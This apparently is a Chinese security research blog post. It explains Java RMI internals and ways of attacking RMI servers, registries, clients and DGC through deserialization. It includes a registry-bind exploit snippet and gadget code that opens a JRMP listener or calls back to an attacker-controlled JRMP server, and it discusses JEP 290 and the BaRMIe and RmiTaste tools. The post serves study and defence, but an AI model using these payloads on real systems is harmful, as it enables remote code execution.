RMI浅析
最后更新时间:
RMI Introduction
RMI (Remote Method Invocation) 远程方法调用,顾名思义,是一种调用远程位置的对象来执行方法的思想。实现思想就是让我们获取远程主机上对象的引用,我们调用这个引用对象,但实际方法的执行在远程位置上。
为了屏蔽网络通信的复杂性,RMI 引入了两个概念,分别是 Stubs(客户端存根) 以及 Skeletons(服务端骨架),当客户端(Client)试图调用一个在远端的 Object 时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为 Stub,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是 Skeleton,它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的,我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。
- 调用时序图如下:
- RMI接口的要求:
- 定义一个能够远程调用的接口,该接口需要继承
java.rmi.Remote
- 用来远程调用的对象作为这个接口的实例,也将实现这个接口
- 这个接口中的所有方法都必须声明抛出
java.rmi.RemoteException
异常
- RMI接口实现的要求:
继承
java.rmi.server.UnicastRemoteObject
类RMI 会自动将这个类 export 给远程想要调用它的 Client 端,同时还提供了一些基础的
equals/hashcode/toString
方法。这里必须为这个实现类提供一个构造函数并且抛出 RemoteException。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {
protected RemoteObject() throws RemoteException {
}
@Override
public String sayHello() throws RemoteException {
return "Hello My Friend";
}
@Override
public String sayHello(Object name) throws RemoteException {
return name.getClass().getName();
}
@Override
public String sayGoodbye() throws RemoteException {
return "Bye";
}
}不继承1中的类的话,需要主动的使用该类的静态方法
exportObject
,来手动导出export
对象
Registry 实现方式有两种
java.rmi.Naming
提供了在远程对象注册表(Registry)中存储和获取远程对象引用的方法,有一个URL格式的参数需要说明:格式如
//host:port/name
- host 表示注册表所在的主机
- port 表示注册表接受调用的端口号,默认为 1099
- name 表示一个注册 Remote Object 的引用的名称,不能是注册表中的一些关键字
实际上它是对接口
java.rmi.registry.Registry
的封装,该类主要是对注册表进行操作,本质调用的是LocateRegistry.getRegistry
方法获取了 Registry 接口的实现类,并调用其相关方法进行实现的java.rmi.registry.Registry
接口其存在两个实现类
RegistryImpl
和RegistryImpl_Stub
demo
注册中心
1
2
3
4
5
6
7
8
9
10public class Registry {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
System.out.println("Server Start");
} catch (Exception e) {
e.printStackTrace();
}
}
}远程调用接口
1
2
3
4
5
6
7public interface RemoteInterface extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(Object name) throws RemoteException;
public String sayGoodbye() throws RemoteException;
}远程调用接口实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {
public RemoteObject() throws RemoteException {
}
@Override
public String sayHello() throws RemoteException {
return "Hello My Friend";
}
@Override
public String sayHello(Object name) throws RemoteException {
return name.getClass().getName();
}
@Override
public String sayGoodbye() throws RemoteException {
return "Bye";
}
}服务端
1
2
3
4
5
6
7
8public class RemoteServer {
public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
RemoteInterface remoteObject = new RemoteObject();
Naming.bind("rmi://localhost:1099/Hello", remoteObject);
}
}客户端
1
2
3
4
5
6
7
8
9
10
11public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// Returns an array of the names bound in this registry
System.out.println(Arrays.toString(registry.list()));
RemoteInterface stub = (RemoteInterface) registry.lookup("Hello");
System.out.println(stub.sayHello());
System.out.println(stub.sayGoodbye());
}
}特性说明
动态类加载机制:这里主要是调用方法的参数在服务端不存在的情况,而其又是一个可序列化对象。默认会抛出
ClassNotFound
异常,但是RMI添加了支持,需要设置一个java.rmi.server.codebase
,则会尝试从其中的地址获取.class
并反序列化设置
java.rmi.server.codebase
可通过System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:9999/");
进行设置,或使用启动参数-Djava.rmi.server.codebase="http://127.0.0.1:9999/"
进行指定。同时,还需要设置安全策略。通过安全管理器设置了安全管理之后,RMI才允许动态加载任何类
1
2
3if (System.getSecurityManager() == null) {
System.setSecurityManager(new RMISecurityManager());
}管理器应与管理策略相辅相成,所以我们还需要提供一个策略文件,里面配置允许那些主机进行哪些操作,这里为了方便测试,直接设置全部权限:
1
2
3grant {
permission java.security.AllPermission;
};同样可以使用
-Djava.security.policy=rmi.policy
或System.setProperty("java.security.policy", RemoteServer.class.getClassLoader().getResource("rmi.policy").toString());
来进行设置。
源码分析
服务注册
远程对象创建
细节:
RemoteObjectInvocationHandler
动态代理,继承了RemoteObject
并实现InvocationHandler
下面是 invoke 方法的实现:如果方法是属于Object
的话则调用invokeObjectMethod()
,其他的则调用invokeRemoteMethod()
invokeRemoteMethod()
实际是委托RemoteRef
的子类UnicastRef
的invoke
方法执行调用跟进可以看到,其执行流程是通过
LiveRef
属性来建立连接,执行调用,获取结果并进行反序列化具体反序列化方法位于
unmarshalValue()
注册中心创建
入口处位于
LocateRegistry.createRegistry(1099);
其首先会创建一个RegistryImpl
对象,端口指定其中创建了
LiveRef()
对象以及UnicastServerRef()
对象,并通过调用setup
进行配置setup 方法调用了
UnicastServerRef
类的 exportObject 方法来export对象,这次导出的为RegistryImpl跟进依旧会通过
Util.createProxy()
来创建动态代理,在远程对象注册时其创建的是RemoteObjectInvocationHandler()
这里区别的一点是会有stubClassExists()
的判断判断基于本地是否存在
_Stub
的类,这里是因为存在RegistryImpl_Stub
类的,因此会返回 true那么在
createStub()
中就会通过反射创建RegistryImpl_Stub
类实例。该类继承了RemoteStub
,且是Registry
的实现类,我们查看bind方法可以看到是通过序列化的方式来实现的 创建完代理
Stub
后,还会调用setSkeleton()
其中会调用
Util.createSkeleton()
来创建Skeleton
对象,本质也是反射创建实例化 RegistryImpl_Skel 这个类,之后设置到UnicastServerRef
的skel
属性上查看 RegistryImpl_Skel 这个类可以看到,其通过
dispatch()
方法来分发操作服务注册
服务注册就是
bind
的过程。这里有两种情况:当服务端和注册中心在同一端时,可以直接通过 Registry 的 bind 方法进行绑定,具体调用的是
RegistryImpl.bind()
,其维护了一个Hashtable来进行名字和远程对象的映射当服务端和注册中心不在同一端时,
Naming
绑定和LocateRegistry
绑定的方式都是通过调用了LocateRegistry.getRegistry()
方法来创建 Registry
服务发现
这里首先说一下
LocateRegistry.getRegistry()
创建 Registry 的流程:- 首先在本地创建了一个包含了具体通信地址、端口的 RegistryImpl_Stub 对象
这里和上述注册中心注册时逻辑差不多 - 通过调用这个本地的 RegistryImpl_Stub 对象的 bind/list… 等方法,来与 Registry 端进行通信
- 而 RegistryImpl_Stub 的每个方法,都实际上调用了 RemoteRef 的 invoke 方法,进行了一次远程调用连接
- 这个过程使用 java 原生序列化及反序列化来实现
在
RegistryImpl_Stub
对象的bind方法中我们可以看到,其先建立连接,然后序列化数据并写入流,然后执行this.ref.invoke()
实际调用的是
UnicastRef#invoke()
这里调试的时候发现
marshalCustomCallData
是空方法,也就是不应该调用这个方法。su18师傅的解释是:使用
sun.rmi.server.MarshalOutputStream
封装后会使用动态代理类来替换原始类原来是在
writeObject()
的过程中替换的,相当于包装了输出流动态代理类替换原始类
根据 Registry 的 host/port 等信息创建本地 RegistryImpl_Stub,然后调用其 bind 方法向 Registry 端使用 writeObject 写入 name 和生成的动态代理类
注册中心的工作:
sun.rmi.transport.tcp.TCPTransport#handleMessages
会处理请求,其会调用serviceCall()
跟进后首先会从 ObjectTable 中获取 Target 对象,并获取其中封装的
UnicastServerRef
以及RegistryImpl
对象,接着调用UnicastServerRef
的 dispatch方法dispatch方法在判断当前对象是否存在skel属性后,选择调用oldDispatch方法
里面可以看到调用
skel
属性也就是RegistryImpl_Skel
类的 dispatch 方法该方法会根据前面流中获取到的不同操作类型分发给不同的方法处理,这里在注册绑定时会选择0,也就是会从流中继续读取内容,反序列化并调用
RegistryImpl
的 bind 操作进行绑定- 首先在本地创建了一个包含了具体通信地址、端口的 RegistryImpl_Stub 对象
服务调用
客户端同服务端一样也是先本地创建
RegistryImpl_Stub
对象,接下来看 lookup 操作。就是将字符串序列化写入流,再等待服务端结果并反序列化流对于 Registry 端,调用
RegistryImpl_Skel
的 dispatch 方法,这里将分发到2中,先反序列化输入流,调用RegistryImpl
的 lookup 方法并将结果序列化写回Client端拿到的结果在前面远程对象注册的流程中我们已经知道:
Client 拿到 Registry 端返回的动态代理对象并且反序列化后,对其进行调用,这看起来是本地进行调用,但实际上是动态代理的 RemoteObjectInvocationHandler 委托 RemoteRef 的 invoke 方法进行远程通信,由于这个动态代理类中保存了真正 Server 端对此项服务监听的端口,因此 Client 端直接与 Server 端进行通信。
那么这时,服务端由 UnicastServerRef 的 dispatch 方法来处理客户端的请求。其会先接受客户端传来的目标调用方法的hash,与
this.hashToMethod_Map
中的元素进行匹配,如果有则进一步反序列化参数并反射调用目标方法执行完后将结果序列化传回给客户端
总结
这里贴一下su18师傅NB的总结
RMI 底层通讯采用了Stub (运行在客户端) 和 Skeleton (运行在服务端) 机制,RMI 调用远程方法的大致如下:
- RMI 客户端在调用远程方法时会先创建 Stub (
sun.rmi.registry.RegistryImpl_Stub
)。 - Stub 会将 Remote 对象传递给远程引用层 (
java.rmi.server.RemoteRef
) 并创建java.rmi.server.RemoteCall
( 远程调用 )对象。 - RemoteCall 序列化 RMI 服务名称、Remote 对象。
- RMI 客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI 服务端的远程引用层。
- RMI服务端的远程引用层(
sun.rmi.server.UnicastServerRef
)收到请求会请求传递给 Skeleton (sun.rmi.registry.RegistryImpl_Skel#dispatch
)。 - Skeleton 调用 RemoteCall 反序列化 RMI 客户端传过来的序列化。
- Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI 服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
- RMI 客户端反序列化服务端结果,获取远程对象的引用。
- RMI 客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
- RMI 客户端反序列化 RMI 远程方法调用结果。
- RMI 客户端在调用远程方法时会先创建 Stub (
攻击 RMI
恶意服务参数
客户端在获取到服务端创建的 Stub 后,如果要调用这个 Stub 并传递参数, Stub 会序列化这个参数并传递给 Server 端,后者会反序列化该参数并调用本地的指定方法。如果该参数是 Object 类型的话,将触发反序列化漏洞
这里以 CC6 为例:
下面讨论当服务端参数和客户端参数不一致的情况
直接运行将会报错,提到调用方法未识别到
究其原因是因为在服务端由 UnicastServerRef 的 dispatch 方法来处理客户端的请求时,对于调用方法的hash并未在
hashToMethod_Map
找到那么我们需要一种方法能做到,既传递正确方法的hash值,同时传递的参数还是能导致恶意反序列化的类,su18师傅总结了一下4种方法:
- 通过网络代理,在流量层修改数据 https://mp.weixin.qq.com/s/TbaRFaAQlT25ASmdTK_UOg
- 自定义 “java.rmi” 包的代码,自行实现
- 字节码修改 agent技术https://www.anquanke.com/post/id/200860
- 使用 debugger
这里首先以
debugger
为例,我们已经知道在远程调用时实际发生在 RemoteObjectInvocationHandler 的invokeRemoteMethod
方法中进行委派的,我们可以在这里下断点并动态更换 method 的参数类型更换之后再继续执行即可触发恶意反序列化
再看反序列化逻辑,可以得出结论:
Server 端的调用方法存在非基础类型的参数时,就可以被恶意 Client 端传入恶意数据流触发反序列化漏洞
动态类加载
Server端限制条件:
- 加载并配置 SecurityManager
- 设置
java.rmi.server.useCodebaseOnly=false
Server 端调用 UnicastServerRef 的
dispatch
方法处理客户端请求,调用unmarshalParameters
方法反序列化客户端传来的参数。一直会调用到
unmarshalValue
方法进行原生readObject反序列化,其实际由RMI封装类 MarshalInputStream 来实现,先反序列化读取客户端传来的codebase
设置的地址,并判断是否设置了 useCodebaseOnly 选项,调用 RMIClassLoader 的 loadClass 方法加载类这部分流程还不太会调试,先跟着su18师傅的来。之后实际委派的是 LoaderHandler 类,进一步会调用到 loadClassForName 方法
通过
Class.forName()
传入自定义类加载器LoaderHandler$Loader
来从远程地址加载类关于
LoaderHandler$Loader
内部类,它是URLClassLoader的子类,最终 loadClass 时还是调用的父类的方法java.rmi.server.codebase
只要一端配置即可触发远程类加载,因此利用方法如下:因此 Client 端可以通过配置此项属性,并向 Server 端传递不存在的类,使 Server 端试图从
java.rmi.server.codebase
地址中远程加载恶意类而触发攻击替身攻击
也是一种绕过调用方法参数类型限制的思路,可以手动添加目标参数类型为指定恶意反序列化的父类,来绕过RMI的校验机制,不过这需要对类进行重写
攻击 Registry 端
对于 Server 端在向注册中心绑定远程对象时,注册中心一方正常的操作时反序列化这个类并最终存在 RegistryImpl 的 bindings 中。那么如果这时传递一个恶意的序列化对象,则会在反序列化时触发漏洞。
这里需要注意的细节是对于待 bind 的远程对象的要求,需要继承 Remote 接口,可以采用动态代理的方式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
// 使用 AnnotationInvocationHandler 动态代理 Remote
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
map.put("racerz", getPayload());
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler);
registry.bind("racerz", remote);
}攻击 Client 端
条件:攻击目标为 Client 端,Registry地址可控,或 Registry/Server 端可控
可执行的攻击发生的位置:
- 从注册中心获取调用服务的 Stub 并反序列化
- 调用服务后获取远程对象执行的结果并反序列化
攻击思路:
恶意 Server Stub
和前面攻击注册中心的思路一致,客户端 lookup 后拿到服务端注册在 Registry 的恶意代理对象并反序列化触发漏洞
恶意 Server 端返回值
思路类似攻击服务端的恶意参数,这里的恶意类放在调用目标方法的返回值处
动态类加载
同攻击 Server 端的动态类加载,Server 端返回给 Client 端不存在的类,要求 Client 端去 codebase 地址远程加载恶意类触发漏洞
攻击 DGC
DGC(Distributed Garbage Collection)—— 分布式垃圾回收,当 Server 端返回一个对象到 Client 端(远程方法的调用方)时,其跟踪远程对象在 Client 端中的使用。当再没有更多的对 Client 远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。启动一个 RMI 服务,就会伴随着 DGC 服务端的启动。
RMI 定义了
java.rmi.dgc.DGC
接口,并提供了两个方法:- dirty: 客户端想要使用服务端上的远程引用或者使用到期还想继续用时调用
- clean: 客户端不再使用时调用
java.rmi.dgc.DGC
接口有sun.rmi.transport.DGCImpl
以及sun.rmi.transport.DGCImpl_Stub
两种实现,同时还定义了sun.rmi.transport.DGCImpl_Skel
。这与 Registry、RegistryImpl、RegistryImpl_Stub、RegistryImpl_Skel的命名以及之间的处理逻辑相对应。通信模式如下:
Server 端启动 DGCImpl,在 Registry 端注册 DGCImpl_Stub ,Client 端获取到 DGCImpl_Stub,通过其与 Server 端通信,Server 端使用 DGCImpl_Skel 来处理。
DGCImpl_Skel 的 dispatch处理流程如下,也是通过原生反序列化的方式来处理对象
那么如何利用攻击呢?
根据 Client 端写入的标记来区分是是由 RegistryImpl_Skel 还是 DGCImpl_Skel 来处理,因此我们可以使用 DGC 来攻击任意一个由 JRMP 协议监听的端口,包括 Registry 端监听端口、RegistryImpl_Stub 监听端口、DGCImpl_Stub 监听端口(后两者监听端口是随机的)
详情参见 yso 的
ysoserial.exploit.JRMPClient
反序列化 Gadgets
UnicastRemoteObject
这个类是Remote接口实现类需要继承的父类,需要用到它的 exportObject 方法,看下它的反序列化流程:
跟进 reexport 方法
紧接着调用 exportObject 方法
那么原理与远程对象创建时一致,监听JRMP协议端口,并对请求解析并反序列化
可以配合 DGC 的处理逻辑来进行攻击
这部分对应 yso 的
ysoserial.payloads.JRMPListener
, 可以结合ysoserial.exploit.JRMPListener
来使用ysoserial 是使用了 UnicastRemoteObject 的子类 ActivationGroupImpl 作为实例,我们是直接使用 unsafe 直接创建了 UnicastRemoteObject 对象,没有使用子类,大同小异
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43public class UnicastRemoteObject1 {
public static void main(String[] args) throws Exception {
int port = 12233;
// 使用
Object uro = createInstanceUnsafely(UnicastRemoteObject.class);
Field field = UnicastRemoteObject.class.getDeclaredField("port");
field.setAccessible(true);
field.set(uro, port);
// 写入父类 RemoteObject 的 ref 属性防止 writeObject 时报错
writeObjectToFile(uro);
readFileObject();
// 保持进程
Thread.sleep(100000);
}
public static Object createInstanceUnsafely(Class payloadClass) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Constructor<Unsafe> constructor = Unsafe.class.getDeclaredConstructor();
constructor.setAccessible(true);
Unsafe unsafe = constructor.newInstance();
return unsafe.allocateInstance(payloadClass);
}
public static void readFileObject() throws Exception {
FileInputStream fio = new FileInputStream("test.bin");
ObjectInputStream inputStream = new ObjectInputStream(fio);
inputStream.readObject();
}
public static void writeObjectToFile(Object obj) throws Exception {
FileOutputStream fio = new FileOutputStream("test.bin");
ObjectOutputStream oos = new ObjectOutputStream(fio);
oos.writeObject(obj);
oos.close();
fio.close();
}
}调用链如下:
1
2
3
4
5
6
7
8UnicastRemoteObject.readObject()
UnicastRemoteObject.reexport()
UnicastRemoteObject.exportObject()
UnicastServerRef.exportObject()
LiveRef.exportObject()
TCPEndpoint.exportObject()
TCPTransport.exportObject()
TCPTransport.listen()UnicastRef
该类实现了 Externalizable 接口,因此反序列化时会调用
readExternal()
方法其中调用了
LiveRef.read()
方法来还原ref属性跟进,其会先创建一个LiveRef实例,并调用
DGCClient.registerRefs()
方法在其环境中进行注册进一步会调用
DGCClient$EndpointEntry#registerRefs()
方法里面继续调用
makeDirtyCall()
方法sinks点落在 DGCImpl_Stub 的
dirty
方法,即后面也可以利用攻击DGC的思路恶意服务端可以结合 ysoserial.exploit.JRMPListener 来使用
RemoteObject
该类几乎所有 RMI 远程调用类的父类,其 readObject 方法可以看到会先反序列化成员属性 ref ,并进一步调用该成员的 readExternal 方法,正好可以衔接前面的 UnicastRef 的Gadget
这里利用的时候任取 RemoteObject 的一个子类即可触发,以 RMIServerImpl_Stub 为例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37public class RemoteObject1 {
public static void main(String[] args) throws Exception {
String host = "127.0.0.1";
int port = 12233;
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIServerImpl_Stub stub = new RMIServerImpl_Stub(ref);
// ysoserial 中使用 RemoteObjectInvocationHandler
// RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
// Registry proxy = (Registry) Proxy.newProxyInstance(RemoteObject1.class.getClassLoader(), new Class[]{Registry.class}, obj);
writeObjectToFile(stub);
readFileObject();
}
public static void readFileObject() throws Exception {
FileInputStream fio = new FileInputStream("test.bin");
ObjectInputStream inputStream = new ObjectInputStream(fio);
inputStream.readObject();
}
public static void writeObjectToFile(Object obj) throws Exception {
FileOutputStream fio = new FileOutputStream("test.bin");
ObjectOutputStream oos = new ObjectOutputStream(fio);
oos.writeObject(obj);
oos.close();
fio.close();
}
}这部分对应的就是
ysoserial.payloads.JRMPClient
这个 gadget,恶意服务端可以结合ysoserial.exploit.JRMPListener
来使用。
高级篇
这里有一些更新的攻击思路 https://xz.aliyun.com/t/7932
JEP 290
在 JDK 6u141、JDK 7u131、JDK 8u121 版本进行了更新
提供的几个机制:
- 提供了一种灵活的机制,将可反序列化的类从任意类限制为上下文相关的类(黑白名单);
- 限制反序列化的调用深度和复杂度;
- 为 RMI export 的对象设置了验证机制;
- 提供一个全局过滤器,可以在 properties 或配置文件中进行配置。
关于 JEP290 的研究:
- https://paper.seebug.org/1689/
- https://paper.seebug.org/454/
- https://y4er.com/posts/bypass-jep290/
- JEP 290 的相关绕过方式 https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/
这里摘录一些重点:
JEP 290 涉及的核心类有:
ObjectInputStream
类,ObjectInputFilter
接口,Config
静态类以及Global
静态类。其中Config
类是ObjectInputFilter
接口的内部类,Global
类又是Config
类的内部类。ObjectInputStream
总结到这里可以知道,
serialFilter
属性就可以认为是 JEP 290 中的”过滤器”。过滤的具体逻辑写到serialFilter
的checkInput
方法中,配置过滤器其实就是设置ObjectInputStream
对象的serialFilter
属性。并且在ObjectInputStream
构造函数中会赋值serialFilter
为ObjectInputFilter#Config
静态类的serialFilter
静态字段Config
静态类总结Config
静态类在初始化的时候,会将Config.serialFilter
赋值为一个Global
对象,这个Global
对象的filters
字段值是jdk.serailFilter
属性对应的Function
列表。所以设置了 Config.serialFilter 这个静态字段,就相当于设置了 ObjectInputStream 类全局过滤器
比如可以通过配置 JVM 的
jdk.serialFilter
或者%JAVA_HOME%\conf\security\java.security
文件的jdk.serialFilter
字段值,来设置Config.serialFilter
,也就是设置了全局过滤。Global
类的总结Global
实现了ObjectInputFilter
接口,所以是可以直接赋值到ObjectInputStream.serialFilter
上。Global#filters
字段是一个函数列表。Global
类中的chekInput
方法会遍历Global#filters
的函数,传入需要检查的FilterValues
进行检查(FilterValues
中包含了要检查的class
,arrayLength
,以及depth
等)。过滤器
设置过滤器本质就是设置
ObjectInputStream
的serialFilter
字段值,设置过滤器可以分为设置全局过滤器和设置局部过滤器:1.设置全局过滤器是指,通过修改
Config.serialFilter
这个静态字段的值来达到设置所有ObjectInputStream
对象的serialFilter
值 。具体原因是因为ObjectInputStream
的构造函数会读取Config.serialFilter
的值赋值到自己的serialFilter
字段上,所有就会导致所有new
出来的ObjectInputStream
对象的serailFilter
都为Config.serialFilter
的值。2.设置局部过滤器是指,在
new
ObjectInputStream
的之后,再修改单个ObjectInputStream
对象的serialFilter
字段值。
扩展
开源针对攻击 RMI 的开源项目
BaRMIe
https://github.com/NickstaDB/BaRMIe
模块展示:
enum 功能,由
nb.barmie.modes.enumeration.EnumerationTask#run
方法实现,核心方法在nb.barmie.modes.enumeration.RMIEnumerator#enumerateEndpoint
中也是先获取注册中心,通过探测不存在的服务名解绑是否会报错
NotBoundException
来判断是否可对目标注册中心进行操作之后创建了一个TCP代理,来获取与注册中心之间通信产生的数据报,并重新通过代理与注册中心一端进行通信。
BaRMIe 从代理中读取流数据并自行实现解析逻辑,从而避免攻击者端在反序列化时由于没有具体接口而导致 “Class.forName” 报错。
之后先通过
list()
获取注册中心的所有服务名,利用 lookup 方法去获取对应的服务对象动态代理这中间产生的流量会被 RMIReturnDataCapturingProxy 这个代理类捕获到,然后通过 RMIReplyDataParser 的
extractObjectDetails
方法解析远程服务对象的相关信息。枚举完成之后该模块会整理并打印获取到的远程服务对象的信息,以及是否能对此 Registry 进行 bind等一系列操作
之后会调用
RMIAttackFactory.findAttacksForEndpoint()
尝试遍历内置的RMI Attack来测试是否能匹配,判断方式利用函数canAttackEndpoint()
同时输出所有匹配到的攻击手段的详细信息
看看内置的Attack 包括 Axiom 文件操作、SpringFramework 里的反序列化、JMX 反序列化、非法 bind 等
进一步,如果可能存在反序列化攻击的话,就会继续查找所有的反序列化Gadget
支持的反序列化 payload 如下
attack 模块,由
nb.barmie.modes.attack.AttackMode#run
实现,还是先调用枚举模块测试,这里可以看到支持多个目标注册中心遍历测试接下来就是针对可攻击的目标进行攻击向量选择,呈现菜单的形式
最终都会调用到
nb.barmie.modes.attack.RMIAttack
各个实现类的 executeAttack 方法RmiTaste
https://github.com/NickstaDB/BaRMIe
在参考了 BaRMIe 之后编写的攻击工具,并且结合 ysoserial 生成利用 gadget。其实 BaRMIe 也是用的 ysoserial 的 payload,但是 RmiTaste 是直接调用
最关键的 attack 逻辑在
m0.rmitaste.rmi.exploit.Attack#invokeMethodPayload
方法中这与 攻击 Server 端时下断点修改的思路是一样的
上述攻击的缺陷:
- 本章内容并未覆盖
- 不支持 JEP 290 的 bypass
TO-DO
- 目前能绕 JEP 290 的 POC 貌似都需要反连,服务器不出网,能不能绕?
- JRMP 协议解析及实现。
- DGC 层。
- 攻击 Client 端实战 —— 反制红队 or 蜜罐。